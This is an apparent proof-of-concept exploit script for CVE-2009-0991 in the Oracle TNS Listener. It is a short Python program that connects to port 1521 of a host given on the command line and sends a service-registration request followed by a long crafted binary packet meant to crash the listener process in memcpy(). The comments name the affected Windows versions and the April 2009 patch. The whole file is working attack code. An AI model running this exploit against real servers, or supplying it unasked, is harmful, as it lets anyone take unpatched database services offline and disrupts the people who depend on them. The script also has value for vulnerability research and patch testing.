# TNS Listener (Oracle RDBMS) exploit, cause trap in Listener process # (more precisely: in function memcpy() called from ncrfintn() function which is located in oranro11.dll) # Successfully working with Oracle RDBMS Win32 11.1.0.6.0 and Oracle RDBMS Win32 10.2.0.3 with latest CPU patches applied # Vulnerability discovered by Dennis Yurichev # Fixed in CPUapr2009, CVE-2009-0991 # http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html from sys import * from socket import * sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect ((argv[1], 1521)) sockobj.send( "\x00\x68\x00\x00\x01\x00\x00\x00\x01\x3A\x01\x2C\x00\x00\x20\x00" "\x7F\xFF\xC6\x0E\x00\x00\x01\x00\x00\x2E\x00\x3A\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x4F\x4E\x4E\x45" "\x43\x54\x5F\x44\x41\x54\x41\x3D\x28\x43\x4F\x4D\x4D\x41\x4E\x44" "\x3D\x73\x65\x72\x76\x69\x63\x65\x5F\x72\x65\x67\x69\x73\x74\x65" "\x72\x5F\x4E\x53\x47\x52\x29\x29") data=sockobj.recv(102400) sockobj.send( "\x02\xde\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\xd4\x20\x08" "\xff\x03\x01\x00\x12\x34\x34\x34\x34\x34\x78\x10\x10\x32\x10\x32" "\x10\x32\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76\x44\x00" "\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x70\xe4\xa5\x09\x90\x00" "\x23\x00\x00\x00\x42\x45\x43\x37\x36\x43\x32\x43\x43\x31\x33\x36" "\x2d\x35\x46\x39\x46\x2d\x45\x30\x33\x34\x2d\x30\x30\x30\x33\x42" "\x41\x31\x33\x37\x34\x42\x33\x03\x00\x65\x00\x01\x00\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x64\x02\x00\x80\x05\x00\x00\x00\x00\x04" "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00" "\x00\x00\x84\xc3\xcc\x07\x01\x00\x00\x00\x84\x2f\xa6\x09\x00\x00" "\x00\x00\x44\xa5\xa2\x09\x25\x98\x18\xe9\x28\x50\x4f\x28\xbb\xac" "\x15\x56\x8e\x68\x1d\x6d\x05\x00\x00\x00\xfc\xa9\x36\x22\x0f\x00" "\x00\x00\x60\x30\xa6\x09\x0a\x00\x00\x00\x64\x00\x00\x00\x00\x00" "\x00\x00\xaa\x00\x00\x00\x00\x01\x00\x00\x17\x00\x00\x00\x78\xc3" "\xcc\x07\x6f\x72\x63\x6c\x00\x28\x48\x4f\x53\x54\x3d\x77\x69\x6e" "\x32\x30\x30\x33\x29\x00\x01\x00\x00\x00\x09\x00\x00\x00\x01\x00" "\x00\x00\x50\xc5\x2f\x22\x02\x00\x00\x00\x34\xc5\x2f\x22\x00\x00" "\x00\x00\x9c\xc5\xcc\x07\x6f\x72\x63\x6c\x5f\x58\x50\x54\x00\x09" "\x00\x00\x00\x50\xc5\x2f\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x34\xc5\xcc\x07\x6f\x72\x63\x6c\x5f" "\x58\x50\x54\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00" "\x84\xc5\x2f\x22\x02\x00\x00\x00\x68\xc5\x2f\x22\x00\x00\x00\x00" "\xa4\xa5\xa2\x09\x6f\x72\x63\x6c\x00\x05\x00\x00\x00\x84\xc5\x2f" "\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\xfc\xc4\xcc\x07\x6f\x72\x63\x6c\x00\x01\x00\x00\x00\x10\x00" "\x00\x00\x02\x00\x00\x00\xbc\xc3\xcc\x07\x00\x00\x00\x00\xb0\x2f" "\xa6\x09\x00\x00\x00\x00\x00\x00\x00\x00\x89\xc0\xb1\xc3\x08\x1d" "\x46\x6d\xb6\xcf\xd1\xdd\x2c\xa7\x66\x6d\x0a\x00\x00\x00\x78\x2b" "\xbc\x04\x7f\x00\x00\x00\x64\xa7\xa2\x09\x0d\x00\x00\x00\x20\x2c" "\xbc\x04\x11\x00\x00\x00\x95\x00\x00\x00\x02\x20\x00\x80\x03\x00" "\x00\x00\x98\xc5\x2f\x22\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00" "\x00\x00\xb0\xc3\xcc\x07\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00" "\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43" "\x4f\x4c\x3d\x42\x45\x51\x29\x28\x50\x52\x4f\x47\x52\x41\x4d\x3d" "\x43\x3a\x5c\x61\x70\x70\x5c\x41\x64\x6d\x69\x6e\x69\x73\x74\x72" "\x61\x74\x6f\x72\x5c\x70\x72\x6f\x64\x75\x63\x74\x5c\x31\x31\x2e" "\x31\x2e\x30\x5c\x64\x62\x5f\x31\x5c\x62\x69\x6e\x5c\x6f\x72\x61" "\x63\x6c\x65\x2e\x65\x78\x65\x29\x28\x41\x52\x47\x56\x30\x3d\x6f" "\x72\x61\x63\x6c\x65\x6f\x72\x63\x6c\x29\x28\x41\x52\x47\x53\x3d" "\x27\x28\x4c\x4f\x43\x41\x4c\x3d\x4e\x4f\x29\x27\x29\x29\x00\x4c" "\x4f\x43\x41\x4c\x20\x53\x45\x52\x56\x45\x52\x00\x68\xc5\x2f\x22" "\x34\xc5\x2f\x22\x00\x00\x00\x00\x05\x00\x00\x00\x84\xc5\x2f\x22" "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xfc\xc4\xcc\x07\x6f\x72\x63\x6c\x00\x09\x00\x00\x00\x50\xc5\x2f" "\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x34\xc5\xcc\x07\x6f\x72\x63\x6c\x5f\x58\x50\x54\x00" ) sockobj.close()